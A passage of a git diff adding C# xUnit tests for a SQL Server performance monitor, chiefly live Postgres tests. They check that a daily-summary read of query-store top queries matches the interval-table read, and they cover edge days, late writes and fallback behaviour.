+        Assert.Contains("60s", typeof(QueryStoreTopDaily).GetField("StatementTimeoutSql", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static)!.GetValue(null)!.ToString(), StringComparison.Ordinal);
+    }
+
+    private static string Body(string source, string signature)
+    {
+        var start = source.IndexOf(signature, StringComparison.Ordinal);
+        if (start < 0)
+        {
+            return string.Empty;
+        }
+
+        var open = source.IndexOf('{', start);
+        var depth = 0;
+        for (var i = open; i < source.Length; i++)
+        {
+            if (source[i] == '{')
+            {
+                depth++;
+            }
+            else if (source[i] == '}' && --depth == 0)
+            {
+                return source[(open + 1)..i];
+            }
+        }
+
+        return string.Empty;
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs b/Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs
new file mode 100644
index 0000000000..2efe066076
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs
@@ -0,0 +1,532 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the long-window read of <c>get_query_store_top</c> (#5094): whole built UTC days come from
+/// <c>collect.query_store_top_daily</c>, the partial edge days and any unbuilt day from the wide table, in one statement
+/// (<see cref="DarlingDataReader.QueryStoreTopDailyTableSql"/>). With no late change to a built day the answer equals the
+/// interval-table read (<see cref="DarlingDataReader.QueryStoreTopTableSql"/>) value for value, doubles included
+/// bit for bit; the one documented difference is a row written into a built day after that day was built. Every seed
+/// is at a fixed past date, every clock is passed explicitly, and each live fact mints its own scratch database.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every live fact here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it, so it cannot race live
+   collection. */
+public sealed class QueryStoreTopDailyReadLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the daily summary read's live pins (each mints its own scratch database).";
+    private const int ServerId = 1;
+    private const int Top = 30;
+    private const int RetentionDays = 9;
+
+    private static readonly DateTime End = new(2026, 1, 14, 6, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime BuildNow = new(2026, 1, 15, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>SHA-256 of each statement, line endings normalized. They were taken from the pre-split text, before
+    /// <c>QueryStoreTopSuffix</c> was divided into its ranked head and its tail, and re-taken once for #5313, which
+    /// deliberately changed both statements: the over-fetch <c>LIMIT $4 + 5</c> became the round's candidate limit and
+    /// the tail gained the page / count-row wrapper, and re-taken again for #5420, which deliberately bounded the tail's
+    /// inline-text fallback to the read's window (<c>collection_time &gt;= $2</c> and <c>&lt;= $3</c>), and re-taken for #5523, which deliberately added the table read's upper <c>first_execution_time</c> bound (<c>&lt;= $3 + </c>the slack, twelve hours). The split pin is the
+    /// tail-sharing assert below.</summary>
+    private const string RawSqlHash = "836D1C99489C7EC952E327EE1CE1C40D7B94DE3270EC67D9249D32D05634CC33";
+    private const string TableSqlHash = "7B5AF0879E0AF1B75762318E4B41645D370939B2B0FFAEB768FCD9B589B2AB79";
+
+    private static string Hash(string sql) =>
+        Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(sql.ReplaceLineEndings("\n"))));
+
+    [Fact]
+    public void TheRawAndTableStatements_AreByteIdenticalToTheirPreSplitText()
+    {
+        Assert.Equal(RawSqlHash, Hash(DarlingDataReader.QueryStoreTopSql));
+        Assert.Equal(TableSqlHash, Hash(DarlingDataReader.QueryStoreTopTableSql));
+    }
+
+    [Fact]
+    public void TheDailyStatement_SharesTheTableReadsTail_AndItsPredicates()
+    {
+        var daily = DarlingDataReader.QueryStoreTopDailyTableSql.ReplaceLineEndings("\n");
+        var table = DarlingDataReader.QueryStoreTopTableSql.ReplaceLineEndings("\n");
+        var tail = table[table.IndexOf("SELECT\n    r.database_name,", StringComparison.Ordinal)..];
+        Assert.EndsWith(tail, daily, StringComparison.Ordinal);
+        Assert.Contains("$7::text IS NULL OR module_name = $7", daily, StringComparison.Ordinal);
+        Assert.Contains("LIMIT $10", daily, StringComparison.Ordinal);   /* #5313: the candidate limit, bound after the two dates */
+    }
+
+    [Fact]
+    public void TheLongestRun_TakesTheLongest_TiesToTheLatest_AndNothingFromNothing()
+    {
+        static DateOnly D(int day) => new(2026, 1, day);
+        Assert.Null(DarlingDataReader.LongestBuiltRun(Array.Empty<DateOnly>()));
+        Assert.Equal((D(8), D(11)), DarlingDataReader.LongestBuiltRun(new[] { D(8), D(9), D(10), D(12), D(13) }));
+        Assert.Equal((D(11), D(14)), DarlingDataReader.LongestBuiltRun(new[] { D(8), D(9), D(11), D(12), D(13) }));
+        Assert.Equal((D(11), D(13)), DarlingDataReader.LongestBuiltRun(new[] { D(8), D(9), D(11), D(12) }));
+        Assert.Equal((D(9), D(10)), DarlingDataReader.LongestBuiltRun(new[] { D(9) }));
+    }
+
+    [Fact]
+    public void TheWholeDays_AreTheMidnightsInsideTheWindow()
+    {
+        var (first, end) = DarlingDataReader.WholeDays(new DateTime(2026, 1, 11, 6, 0, 0), new DateTime(2026, 1, 14, 6, 0, 0));
+        Assert.Equal((new DateOnly(2026, 1, 12), new DateOnly(2026, 1, 14)), (first, end));
+        (first, end) = DarlingDataReader.WholeDays(new DateTime(2026, 1, 11, 0, 0, 0), new DateTime(2026, 1, 14, 0, 0, 0));
+        Assert.Equal((new DateOnly(2026, 1, 11), new DateOnly(2026, 1, 14)), (first, end));
+    }
+
+    /* ───────────────────────────── live ───────────────────────────── */
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static string At(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture);
+
+    /// <summary>The wide table for server 1 from 2026-01-05 to 2026-01-14 12:00, one row per query per hour for most
+    /// hours (a row at every midnight among them), with nulls where the facts need them. 40 queries: query 40 has every
+    /// average NULL, queries divisible by 7 have a NULL cpu on odd hours, queries divisible by 4 change module
+    /// between hours, queries divisible by 5 are Aborted, and queries divisible by 6 carry a replica role.</summary>
+    private const string SeedSql = @"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes,
+ avg_physical_io_reads, avg_rowcount, query_plan_hash, replica_role, runtime_stats_interval_id, interval_start_time_utc)
+SELECT
+    ct, 1, 'db' || (q % 3), q, q, CASE WHEN q % 5 = 0 THEN 'Aborted' ELSE 'Regular' END,
+    ct - interval '10 minutes', ct - make_interval(mins => h % 7),
+    CASE WHEN q % 4 = 0 THEN CASE WHEN h % 2 = 0 THEN 'dbo.m1' ELSE NULL END WHEN q % 4 = 1 THEN 'dbo.m2' ELSE NULL END,
+    'h' || q, 1 + (q * 13 + h * 7) % 23,
+    CASE WHEN q = 40 THEN NULL ELSE 1000 + (q * 7919 + h * 104729) % 90001 END,
+    CASE WHEN q = 40 OR (q % 7 = 0 AND h % 2 = 1) THEN NULL ELSE 10 + (q * 31 + h * 17) % 5003 END,
+    CASE WHEN q = 40 THEN NULL ELSE 100 + (q * 101 + h * 13) % 500009 END,
+    CASE WHEN q = 40 THEN NULL ELSE (q * 3 + h) % 97 END,
+    CASE WHEN q = 40 THEN NULL ELSE (q + h * 5) % 211 END,
+    CASE WHEN q = 40 THEN NULL ELSE 1 + (q * 29 + h * 3) % 1009 END,
+    'ph' || (h % 5), CASE WHEN q % 6 = 0 THEN 'PRIMARY' ELSE NULL END,
+    q * 100000 + h, ct - interval '10 minutes'
+FROM
+(
+    SELECT q, h, TIMESTAMP '2026-01-05 00:00:00' + make_interval(hours => h) AS ct
+    FROM generate_series(1, 40) AS q
+    CROSS JOIN generate_series(0, 24 * 9 + 12) AS h
+    WHERE (q * 7 + h) % 5 <> 0 OR h % 24 = 0
+) AS s;";
+
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecAsync(connection, SeedSql, ct);
+        await ExecAsync(connection, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (1, 'srv1', TRUE)", ct);
+        /* applied_through at or before the read's literal end, or the gate refuses the table (clause 4). */
+        await ExecAsync(connection,
+            "INSERT INTO collect.query_store_interval_wide_coverage (server_id, filled_since, applied_through) VALUES (1, TIMESTAMP '2026-01-01 00:00:00', TIMESTAMP '2026-01-01 00:00:00')", ct);
+    }
+
+    /// <summary>One extra wide-table row for query <paramref name="queryId"/> with a duration large enough to rank first.</summary>
+    private static async Task InsertRowAsync(NpgsqlConnection connection, DateTime collectionTime, long queryId, CancellationToken ct, long duration = 90_000_000, DateTime? firstExecution = null)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads,
+ avg_rowcount, query_plan_hash, runtime_stats_interval_id, interval_start_time_utc)
+VALUES (@ct, 1, 'db0', @q, @q, 'Regular', COALESCE(@fet, @ct - interval '10 minutes'), @ct, 'h' || @q, 1000, @dur, 5, 5, 5, 5, 5, 'late', @q, @ct - interval '10 minutes')", connection);
+        command.Parameters.Add(new NpgsqlParameter("ct", NpgsqlDbType.Timestamp) { Value = collectionTime });
+        command.Parameters.Add(new NpgsqlParameter("fet", NpgsqlDbType.Timestamp) { Value = (object?)firstExecution ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("q", NpgsqlDbType.Bigint) { Value = queryId });
+        command.Parameters.Add(new NpgsqlParameter("dur", NpgsqlDbType.Bigint) { Value = duration });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task BuildAsync(NpgsqlDataSource source, CancellationToken ct)
+    {
+        var result = await QueryStoreTopDaily.RunTickAsync(source, BuildNow, RetentionDays, NullLogger.Instance, ct);
+        Assert.Equal(0, result.Failed);
+        Assert.Equal(7, result.Built);
+    }
+
+    private static async Task RunLiveAsync(Func<NpgsqlConnection, NpgsqlDataSource, CancellationToken, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, ct);
+            await BuildAsync(source, ct);
+            await body(connection, source, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    private static DarlingDataReader.QueryStoreRow ToRow(object?[] v)
+    {
+        static T? Get<T>(object? value) => value is null or DBNull ? default : (T)value;
+        return new DarlingDataReader.QueryStoreRow(
+            Get<string>(v[0]) ?? "", Get<long?>(v[1]) ?? 0, Get<long?>(v[2]) ?? 0, Get<string>(v[3]) ?? "", Get<string>(v[4]) ?? "",
+            Get<string>(v[5]) ?? "", Get<string>(v[6]), Get<long?>(v[7]) ?? 0, Get<double?>(v[8]) ?? 0, Get<double?>(v[9]) ?? 0,
+            Get<double?>(v[10]) ?? 0, Get<double?>(v[11]) ?? 0, Get<double?>(v[12]) ?? 0, Get<double?>(v[13]) ?? 0,
+            Get<DateTime?>(v[14]), Get<string>(v[15]) ?? "", Get<string>(v[16]));
+    }
+
+    /// <summary>A row as text with every double as its bit pattern, so "equal" means bit-equal.</summary>
+    private static string Format(DarlingDataReader.QueryStoreRow r)
+    {
+        static string B(double d) => BitConverter.DoubleToInt64Bits(d).ToString("x", CultureInfo.InvariantCulture);
+        return string.Join('|', r.DatabaseName, r.QueryId, r.PlanId, r.QueryHash, r.QueryPlanHash, r.ExecutionTypeDesc, r.ModuleName ?? "<null>",
+            r.TotalExecutions, B(r.AvgDurationMs), B(r.AvgCpuTimeMs), B(r.AvgLogicalReads), B(r.AvgLogicalWrites), B(r.AvgPhysicalReads),
+            B(r.AvgRowcount), r.LastExecutionTime is { } t ? At(t) : "<null>", r.QueryText, r.ReplicaRole ?? "<null>");
+    }
+
+    private static List<string> Format(IEnumerable<DarlingDataReader.QueryStoreRow> rows) => rows.Select(Format).ToList();
+
+    /// <summary>Runs <paramref name="sql"/> (either statement) and returns its raw rows, NULLs kept.</summary>
+    private static async Task<List<object?[]>> RunSqlAsync(
+        NpgsqlConnection connection, string sql, DateTime readStart, DateTime end, string? db, string? outcome, string? module,
+        (DateOnly, DateOnly)? span, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = ServerId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = readStart });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = end });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = Top });
+        command.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.One(db).Parameter());  /* #5245: the list predicate binds one text[] */
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)outcome ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)module ?? DBNull.Value });
+        if (span is var (s, e))
+        {
+            command.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = s, NpgsqlDbType = NpgsqlDbType.Date });
+            command.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = e, NpgsqlDbType = NpgsqlDbType.Date });
+        }
+
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(Top) });  /* #5313: the round's candidate limit, bound last */
+
+        var rows = new List<object?[]>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            var values = new object[reader.FieldCount];
+            reader.GetValues(values);
+            rows.Add(values);
+        }
+
+        return rows;
+    }
+
+    /// <summary>Today's read (<see cref="DarlingDataReader.QueryStoreTopTableSql"/>) of the same window, on the same connection.</summary>
+    private static async Task<List<string>> TodaysReadAsync(
+        NpgsqlConnection connection, DateTime readStart, DateTime end, string? db, string? outcome, string? module, CancellationToken ct) =>
+        Format((await RunSqlAsync(connection, DarlingDataReader.QueryStoreTopTableSql, readStart, end, db, outcome, module, null, ct)).Select(ToRow));
+
+    private static async Task<DarlingDataReader.QueryStoreTopRead> RouteAsync(
+        NpgsqlDataSource source, DateTime start, DateTime end, string? db, string? outcome, string? module, CancellationToken ct) =>
+        await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, ServerId, start, end, Top, db, outcome, module, ct);
+
+    public static IEnumerable<object?[]> Cells()
+    {
+        foreach (var hours in new[] { 72, 168 })
+        {
+            yield return new object?[] { hours, null, null, null };
+            yield return new object?[] { hours, "db1", null, null };
+            yield return new object?[] { hours, null, "Aborted", null };
+            yield return new object?[] { hours, null, null, "dbo.m1" };
+            yield return new object?[] { hours, "db0", "Regular", "dbo.m2" };
+        }
+    }
+
+    [Theory]
+    [MemberData(nameof(Cells))]
+    public async Task TheRoute_EqualsTodaysTableRead_BitForBit_WhenNothingChangedAfterTheBuild(int hours, string? db, string? outcome, string? module)
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            var start = End.AddHours(-hours);
+            var read = await RouteAsync(source, start, End, db, outcome, module, ct);
+
+            Assert.NotNull(read.Table);
+            Assert.True(read.DailyDaysUsed > 0);
+            Assert.Equal((hours == 72 ? 2 : 6), read.DailyDaysUsed);
+            Assert.Equal(new DateOnly(2026, 1, 14), read.DailySpan!.Value.EndExclusive);
+            Assert.NotEmpty(read.Rows);
+
+            var today = await TodaysReadAsync(connection, read.Table!.Value.ReadStart, End, db, outcome, module, ct);
+            Assert.Equal(today, Format(read.Rows));
+        });
+    }
+
+    [Fact]
+    public async Task AFaultReadingTheBuiltDays_AfterTheGateChoseTheTable_NotesFallbackRaw_AndAnswersFromRaw()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            await ExecAsync(connection, "DROP TABLE collect.query_store_top_daily_built", ct);
+            await ExecAsync(connection, @"
+INSERT INTO collect.query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id,
+    execution_type_desc, first_execution_time, module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us,
+    max_duration_us, max_cpu_time_us, replica_role, runtime_stats_interval_id, interval_start_time_utc)
+SELECT 1, TIMESTAMP '2026-01-10 00:30:00' + (i * interval '1 hour'), 1, 'srv1', 'db0', 100 + i, 1000 + i,
+    'Regular', TIMESTAMP '2026-01-10 00:00:00' + (i * interval '1 hour'), 'mod', md5('q' || i), 10 + i, 500 + i, 300, 900, 700, 'PRIMARY', 77 + i,
+    TIMESTAMP '2026-01-10 00:00:00' + (i * interval '1 hour')
+FROM generate_series(0, 9) AS i", ct);
+            var start = End.AddHours(-168);
+            var logger = new CapturingTestLogger();
+            using var scope = ReadScope.Open(logger);
+
+            var read = await RouteAsync(source, start, End, null, null, null, ct);
+
+            Assert.Null(read.Table);
+            Assert.Equal(0, read.DailyDaysUsed);
+            Assert.Equal(ReadFallback.FallbackRaw, scope.Fallback);
+            var raw = Format((await RunSqlAsync(connection, DarlingDataReader.QueryStoreTopSql, start, End, null, null, null, null, ct)).Select(ToRow));
+            Assert.NotEmpty(raw);
+            Assert.Equal(raw, Format(read.Rows));
+        });
+    }
+
+    [Fact]
+    public async Task WithNoBuiltDay_TheReadIsTodaysStatement_AndNoSummaryIsUsed()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            await ExecAsync(connection, "DELETE FROM collect.query_store_top_daily; DELETE FROM collect.query_store_top_daily_built", ct);
+            var read = await RouteAsync(source, End.AddHours(-168), End, null, null, null, ct);
+
+            Assert.Equal(0, read.DailyDaysUsed);
+            Assert.Null(read.DailySpan);
+            Assert.Equal(await TodaysReadAsync(connection, read.Table!.Value.ReadStart, End, null, null, null, ct), Format(read.Rows));
+        });
+    }
+
+    private static async Task<System.Text.Json.JsonElement> ToolAnswerAsync(NpgsqlDataSource source, int hours, CancellationToken ct) =>
+        System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(
+            source, "srv1", hours, Top, null, "2026-01-14T06:00:00Z", null, null, false, 400, ct)).RootElement.Clone();
+
+    [Fact]
+    public async Task TheTool_SaysApproximate_WithTheSummaryDays_WhenABuiltDayWasUsed()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            var answer = await ToolAnswerAsync(source, 72, ct);
+
+            Assert.True(answer.GetProperty("approximate").GetBoolean());
+            Assert.Equal(DarlingMcpDataTools.QueryStoreApproximationNote, answer.GetProperty("approximation_note").GetString());
+            var days = answer.GetProperty("summary_days");
+            Assert.Equal("2026-01-12", days.GetProperty("from").GetString());
+            Assert.Equal("2026-01-14", days.GetProperty("to_exclusive").GetString());
+            await Task.CompletedTask;
+        });
+    }
+
+    [Fact]
+    public async Task TheTool_SaysNotApproximate_AndCarriesNoNote_WhenNoBuiltDayWasUsed()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            await ExecAsync(connection, "DELETE FROM collect.query_store_top_daily; DELETE FROM collect.query_store_top_daily_built", ct);
+            var answer = await ToolAnswerAsync(source, 72, ct);
+
+            Assert.False(answer.GetProperty("approximate").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, answer.GetProperty("approximation_note").ValueKind);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, answer.GetProperty("summary_days").ValueKind);
+        });
+    }
+
+    [Fact]
+    public async Task AGapInTheBuiltDays_UsesTheLongestRun_AndStillEqualsTodaysRead()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            /* 168 h from 2026-01-07 06:00: whole days 8..13 are built. Losing the 10th leaves 8-9 and 11-13, and the longer run is used. */
+            await ExecAsync(connection, "DELETE FROM collect.query_store_top_daily WHERE day = DATE '2026-01-10'; DELETE FROM collect.query_store_top_daily_built WHERE day = DATE '2026-01-10'", ct);
+            var read = await RouteAsync(source, End.AddHours(-168), End, null, null, null, ct);
+
+            Assert.Equal(3, read.DailyDaysUsed);
+            Assert.Equal((new DateOnly(2026, 1, 11), new DateOnly(2026, 1, 14)), read.DailySpan);
+            Assert.Equal(await TodaysReadAsync(connection, read.Table!.Value.ReadStart, End, null, null, null, ct), Format(read.Rows));
+        });
+    }
+
+    [Fact]
+    public async Task ALateWriteIntoABuiltDay_IsMissedByTheRoute_AndPresentInTodaysRead()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            var start = End.AddHours(-168);
+            var before = await RouteAsync(source, start, End, null, null, null, ct);
+
+            await InsertRowAsync(connection, new DateTime(2026, 1, 10, 10, 30, 0), 9001, ct);
+
+            var route = await RouteAsync(source, start, End, null, null, null, ct);
+            var today = await TodaysReadAsync(connection, route.Table!.Value.ReadStart, End, null, null, null, ct);
+
+            /* The route still answers as it did before the write; today's read has the new query, ranked first. */
+            Assert.Equal(Format(before.Rows), Format(route.Rows));
+            Assert.DoesNotContain(route.Rows, r => r.QueryId == 9001);
+            Assert.True(today.Any(t => t.Contains("|9001|", StringComparison.Ordinal)), string.Join("\n", today.Take(3)));
+            Assert.Equal(route.Rows.Count, today.Count);
+        });
+    }
+
+    [Fact]
+    public async Task TheEdges_AreReadExactlyFromTheWideTable_AtBothBoundaries()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            /* A 72 h window ending 2026-01-14 06:00 holds the whole days 12 and 13 (the summary's [S, E) is [12, 14)).
+               Written after the build, so a row the summary covers is missed and a row an edge covers is read. */
+            var s = new DateTime(2026, 1, 12, 0, 0, 0);
+            await InsertRowAsync(connection, s.AddSeconds(-1), 9101, ct);          // last second of the first edge: read
+            await InsertRowAsync(connection, s, 9102, ct);                         // exactly S: inside the summary's first day, missed
+            await InsertRowAsync(connection, new DateTime(2026, 1, 14, 0, 0, 0), 9103, ct); // exactly E: the trailing edge, read
+            await InsertRowAsync(connection, End, 9104, ct);                       // exactly $3, inclusive: read
+            await InsertRowAsync(connection, End.AddSeconds(1), 9105, ct);         // past $3: in neither
+            await InsertRowAsync(connection, End.AddHours(-72).AddSeconds(-1), 9106, ct); // before ReadStart: in neither
+
+            var readStart = End.AddHours(-72);
+            await InsertRowAsync(connection, readStart, 9107, ct);                 // exactly ReadStart ($2 inclusive): read, by both routes
+            /* The oldest first_execution_time the invariant allows for a row collected at E + 1 h (the stricter trailing floor). */
+            var trailing = new DateTime(2026, 1, 14, 1, 0, 0);
+            await InsertRowAsync(connection, trailing, 9108, ct,
+                firstExecution: trailing - (QueryStoreIntervalWide.IntervalSpanMargin + PerformanceMonitor.Collectors.WatermarkPolicy.MaxCatchup) + TimeSpan.FromSeconds(1));
+
+            var route = await RouteAsync(source, readStart, End, null, null, null, ct);
+            Assert.Equal((new DateOnly(2026, 1, 12), new DateOnly(2026, 1, 14)), route.DailySpan);
+            Assert.Equal(readStart, route.Table!.Value.ReadStart);
+            var ids = route.Rows.Select(r => r.QueryId).ToHashSet();
+            Assert.Contains(9101L, ids);
+            Assert.DoesNotContain(9102L, ids);
+            Assert.Contains(9103L, ids);
+            Assert.Contains(9104L, ids);
+            Assert.DoesNotContain(9105L, ids);
+            Assert.DoesNotContain(9106L, ids);
+            Assert.Contains(9107L, ids);
+            Assert.Contains(9108L, ids);
+
+            /* Today's read has everything the window holds except the two outside it. */
+            var today = (await RunSqlAsync(connection, DarlingDataReader.QueryStoreTopTableSql, route.Table!.Value.ReadStart, End, null, null, null, null, ct))
+                .Select(v => (long)v[1]!).ToHashSet();
+            Assert.Contains(9102L, today);
+            Assert.DoesNotContain(9105L, today);
+            Assert.DoesNotContain(9106L, today);
+            Assert.Contains(9107L, today);
+            Assert.Contains(9108L, today);
+        });
+    }
+
+    [Fact]
+    public async Task ARowMovedFromABuiltDayIntoTheTrailingEdge_IsCountedInBothByTheRoute_AndOnceByTodaysRead()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            /* Day 13 is rebuilt with the row in it (pass 1), then the interval resumes and the row's collection_time moves to
+               the next day, which is the trailing edge (read from the wide table). The summary still holds it for day 13. */
+            await InsertRowAsync(connection, new DateTime(2026, 1, 13, 23, 30, 0), 9201, ct);
+            await ExecAsync(connection, "DELETE FROM collect.query_store_top_daily WHERE day = DATE '2026-01-13'; DELETE FROM collect.query_store_top_daily_built WHERE day = DATE '2026-01-13'", ct);
+            var tick = await QueryStoreTopDaily.RunTickAsync(source, BuildNow, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, tick.Failed);
+            Assert.Equal(1, tick.Built);
+            await ExecAsync(connection, "UPDATE collect.query_store_interval_wide SET collection_time = TIMESTAMP '2026-01-14 00:30:00' WHERE query_id = 9201", ct);
+
+            var route = await RouteAsync(source, End.AddHours(-72), End, null, null, null, ct);
+            var today = (await RunSqlAsync(connection, DarlingDataReader.QueryStoreTopTableSql, route.Table!.Value.ReadStart, End, null, null, null, null, ct))
+                .Select(ToRow).Single(r => r.QueryId == 9201);
+
+            Assert.Equal(1000L, today.TotalExecutions);
+            Assert.Equal(2000L, route.Rows.Single(r => r.QueryId == 9201).TotalExecutions);
+        });
+    }
+
+    private static async Task<System.Text.Json.JsonElement> FilteredToolAnswerAsync(NpgsqlDataSource source, string? outcome, string? module, CancellationToken ct) =>
+        System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetQueryStoreTop(
+            source, "srv1", 72, Top, null, "2026-01-14T06:00:00Z", outcome, module, false, 400, ct)).RootElement.Clone();
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task TheEmptyAnswers_CarryTheApproximateFlag_OnlyWhenBuiltDaysWereUsed(bool withBuiltDays)
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            if (!withBuiltDays)
+                await ExecAsync(connection, "DELETE FROM collect.query_store_top_daily; DELETE FROM collect.query_store_top_daily_built", ct);
+
+            var module = await FilteredToolAnswerAsync(source, null, "dbo.nothing_matches_this", ct);
+            var outcome = await FilteredToolAnswerAsync(source, "Exception", null, ct);
+
+            Assert.Equal("empty", module.GetProperty("status").GetString());
+            Assert.Equal("empty", outcome.GetProperty("status").GetString());
+            if (withBuiltDays)
+            {
+                var hints = module.GetProperty("hints");
+                Assert.True(hints.GetProperty("approximate").GetBoolean());
+                Assert.Equal(DarlingMcpDataTools.QueryStoreApproximationNote, hints.GetProperty("approximation_note").GetString());
+                hints = outcome.GetProperty("hints");
+                Assert.True(hints.GetProperty("approximate").GetBoolean());
+                Assert.Equal(DarlingMcpDataTools.QueryStoreApproximationNote, hints.GetProperty("approximation_note").GetString());
+            }
+            else
+            {
+                Assert.False(module.GetProperty("hints").TryGetProperty("approximate", out _));
+                Assert.False(module.GetProperty("hints").TryGetProperty("approximation_note", out _));
+                Assert.False(outcome.TryGetProperty("hints", out _));
+            }
+            await Task.CompletedTask;
+        });
+    }
+
+    [Fact]
+    public async Task AnAllNullAverageColumn_IsNullInBothReads_WithoutADivisionError()
+    {
+        await RunLiveAsync(async (connection, source, ct) =>
+        {
+            var start = End.AddHours(-168);
+            var plan = (await RouteAsync(source, start, End, null, null, null, ct)).Table!.Value;
+            var span = (new DateOnly(2026, 1, 8), new DateOnly(2026, 1, 14));
+            var route = await RunSqlAsync(connection, DarlingDataReader.QueryStoreTopDailyTableSql, plan.ReadStart, End, null, null, null, span, ct);
+            var today = await RunSqlAsync(connection, DarlingDataReader.QueryStoreTopTableSql, plan.ReadStart, End, null, null, null, null, ct);
+
+            var routeRow = route.Single(v => (long)v[1]! == 40);
+            var todayRow = today.Single(v => (long)v[1]! == 40);
+            for (var column = 8; column <= 13; column++)
+            {
+                Assert.True(routeRow[column] is DBNull, $"route column {column}");
+                Assert.True(todayRow[column] is DBNull, $"today column {column}");
+            }
+
+            Assert.Equal(todayRow[7], routeRow[7]);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreTopDailyRungTests.cs b/Darling/Darling.Tests/QueryStoreTopDailyRungTests.cs
new file mode 100644
index 0000000000..9146c6e50b
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreTopDailyRungTests.cs
@@ -0,0 +1,457 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
